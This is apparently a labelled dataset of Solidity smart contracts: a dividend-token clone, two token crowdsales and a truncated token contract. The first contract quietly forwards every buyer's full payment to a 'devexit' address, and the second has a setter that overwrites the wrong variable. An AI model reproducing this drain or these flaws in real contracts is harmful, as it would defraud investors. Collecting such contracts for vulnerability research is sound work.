stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
devexit.transfer(_incomingEthereum);
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,179 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
} | 1 | 2,936 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhiteListCrowdsale is
CappedCrowdsale,
Ownable
{
uint8 public constant WHITELIST_BONUS_RATE = 10;
uint8 public constant REFERRAL_SHARE_RATE = 50;
uint256 public whiteListRegistrationEndTime;
uint256 public whiteListEndTime;
mapping(address => bool) public isWhiteListed;
mapping(bytes32 => address) internal referralCodes;
mapping(address => address) internal referrals;
event WhiteListedInvestorAdded(
address indexed investor,
string referralCode
);
event ReferredInvestorAdded(
string referralCode,
address referredInvestor
);
event ReferredBonusTokensEmitted(
address indexed beneficiary,
uint256 amount
);
event WhiteListBonusTokensEmitted(
address indexed beneficiary,
uint256 amount
);
function WhiteListCrowdsale(uint256 _whiteListRegistrationEndTime, uint256 _whiteListEndTime) public {
require(_whiteListEndTime > startTime);
whiteListEndTime = _whiteListEndTime;
whiteListRegistrationEndTime = _whiteListRegistrationEndTime;
}
function buyTokens(address _beneficiary) public payable
{
require(validWhiteListedPurchase(_beneficiary));
super.buyTokens(_beneficiary);
uint256 bonusTokens = computeBonusTokens(_beneficiary, msg.value);
if (isReferred(_beneficiary))
{
uint256 bonusTokensForReferral = bonusTokens.mul(REFERRAL_SHARE_RATE).div(100);
uint256 bonusTokensForReferred = bonusTokens.sub(bonusTokensForReferral);
token.mint(_beneficiary, bonusTokensForReferred);
token.mint(referrals[_beneficiary], bonusTokensForReferral);
ReferredBonusTokensEmitted(_beneficiary, bonusTokensForReferred);
WhiteListBonusTokensEmitted(referrals[_beneficiary], bonusTokensForReferral);
}
else if (isWhiteListed[_beneficiary])
{
token.mint(_beneficiary, bonusTokens);
WhiteListBonusTokensEmitted(_beneficiary, bonusTokens);
}
}
function addWhiteListedInvestor(address _investor, string _referralCode) public
{
require(block.timestamp <= whiteListRegistrationEndTime);
require(_investor != 0);
require(!isWhiteListed[_investor]);
bytes32 referralCodeHash = keccak256(_referralCode);
require(referralCodes[referralCodeHash] == 0x0);
isWhiteListed[_investor] = true;
referralCodes[referralCodeHash] = _investor;
WhiteListedInvestorAdded(_investor, _referralCode);
}
function loadWhiteList(address[] _investors, bytes32[] _referralCodes) public onlyOwner
{
require(_investors.length <= 30);
require(_investors.length == _referralCodes.length);
for (uint i = 0; i < _investors.length; i++)
{
isWhiteListed[_investors[i]] = true;
referralCodes[_referralCodes[i]] = _investors[i];
}
}
function addReferredInvestor(string _referralCode, address _referredInvestor) public
{
require(!hasEnded());
require(!isWhiteListed[_referredInvestor]);
require(_referredInvestor != 0);
require(referrals[_referredInvestor] == 0x0);
bytes32 referralCodeHash = keccak256(_referralCode);
require(referralCodes[referralCodeHash] != 0);
referrals[_referredInvestor] = referralCodes[referralCodeHash];
ReferredInvestorAdded(_referralCode, _referredInvestor);
}
function loadReferredInvestors(bytes32[] _referralCodes, address[] _investors) public onlyOwner
{
require(_investors.length <= 30);
require(_investors.length == _referralCodes.length);
for (uint i = 0; i < _investors.length; i++)
{
referrals[_investors[i]] = referralCodes[_referralCodes[i]];
}
}
function isReferred(address _investor) public constant returns (bool)
{
return referrals[_investor] != 0x0;
}
function validWhiteListedPurchase(address _investor) internal constant returns (bool)
{
return isWhiteListed[_investor] || isReferred(_investor) || block.timestamp > whiteListEndTime;
}
function computeBonusTokens(address _beneficiary, uint256 _weiAmount) internal constant returns (uint256)
{
if (isReferred(_beneficiary) || isWhiteListed[_beneficiary]) {
uint256 bonusTokens = _weiAmount.mul(rate).mul(WHITELIST_BONUS_RATE).div(100);
if (block.timestamp > whiteListEndTime) {
bonusTokens = bonusTokens.div(2);
}
return bonusTokens;
}
else
{
return 0;
}
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public constant returns (bool) {
return weiRaised >= goal;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract DemeterCrowdsale is
RefundableCrowdsale,
WhiteListCrowdsale,
Pausable,
Destructible
{
uint8 constant public PERC_TOKENS_TO_INVESTOR = 30;
uint8 constant public PERC_TOKENS_TO_RELEASE = 25;
address constant public RELEASE_WALLET = 0x867D85437d27cA97e1EB574250efbba487aca637;
uint8 constant public PERC_TOKENS_TO_DEV = 20;
address constant public DEV_WALLET = 0x70323222694584c68BD5a29194bb72c248e715F7;
uint8 constant public PERC_TOKENS_TO_BIZDEV = 25;
address constant public BIZDEV_WALLET = 0xE43053e265F04f690021735E02BBA559Cea681D6;
event CompanyTokensIssued(
address indexed investor,
uint256 value,
uint256 amount
);
function DemeterCrowdsale(
uint256 _startTime,
uint256 _endTime,
uint256 _whiteListRegistrationEndTime,
uint256 _whiteListEndTime,
uint256 _rate,
uint256 _cap,
uint256 _goal,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
WhiteListCrowdsale(_whiteListRegistrationEndTime, _whiteListEndTime)
{
DemeterToken(token).setUnlockTime(_endTime);
}
function buyTokens(address _beneficiary) public payable whenNotPaused {
require(msg.value >= 0.1 ether);
super.buyTokens(_beneficiary);
issueCompanyTokens(_beneficiary, msg.value);
}
function destroy() public onlyOwner {
vault.close();
super.destroy();
DemeterToken(token).destroyAndSend(this);
}
function destroyAndSend(address _recipient) public onlyOwner {
vault.close();
super.destroyAndSend(_recipient);
DemeterToken(token).destroyAndSend(_recipient);
}
function updateGoal(uint256 _goal) public onlyOwner {
require(_goal >= 0 && _goal <= cap);
require(!hasEnded());
goal = _goal;
}
function issueCompanyTokens(address _investor, uint256 _weiAmount) internal {
uint256 investorTokens = _weiAmount.mul(rate);
uint256 bonusTokens = computeBonusTokens(_investor, _weiAmount);
uint256 companyTokens = investorTokens.mul(100 - PERC_TOKENS_TO_INVESTOR).div(PERC_TOKENS_TO_INVESTOR);
uint256 totalTokens = investorTokens.add(companyTokens);
uint256 devTokens = totalTokens.mul(PERC_TOKENS_TO_DEV).div(100);
token.mint(DEV_WALLET, devTokens);
uint256 bizDevTokens = (totalTokens.mul(PERC_TOKENS_TO_BIZDEV).div(100)).sub(bonusTokens);
token.mint(BIZDEV_WALLET, bizDevTokens);
uint256 actualCompanyTokens = companyTokens.sub(bonusTokens);
uint256 releaseTokens = actualCompanyTokens.sub(bizDevTokens).sub(devTokens);
token.mint(RELEASE_WALLET, releaseTokens);
CompanyTokensIssued(_investor, _weiAmount, actualCompanyTokens);
}
function createTokenContract() internal returns (MintableToken) {
return new DemeterToken();
}
function unlockTokens() internal {
if (DemeterToken(token).unlockTime() > block.timestamp) {
DemeterToken(token).setUnlockTime(block.timestamp);
}
}
function finalization() internal {
super.finalization();
unlockTokens();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TimeLockedToken is MintableToken
{
uint256 public unlockTime = 0;
modifier canTransfer() {
require(unlockTime == 0 || block.timestamp > unlockTime);
_;
}
function setUnlockTime(uint256 _unlockTime) public onlyOwner {
require(unlockTime == 0 || _unlockTime < unlockTime);
require(_unlockTime >= block.timestamp);
unlockTime = _unlockTime;
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract DemeterToken is TimeLockedToken, Destructible
{
string public name = "Demeter";
string public symbol = "DMT";
uint256 public decimals = 18;
} | 1 | 4,671 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
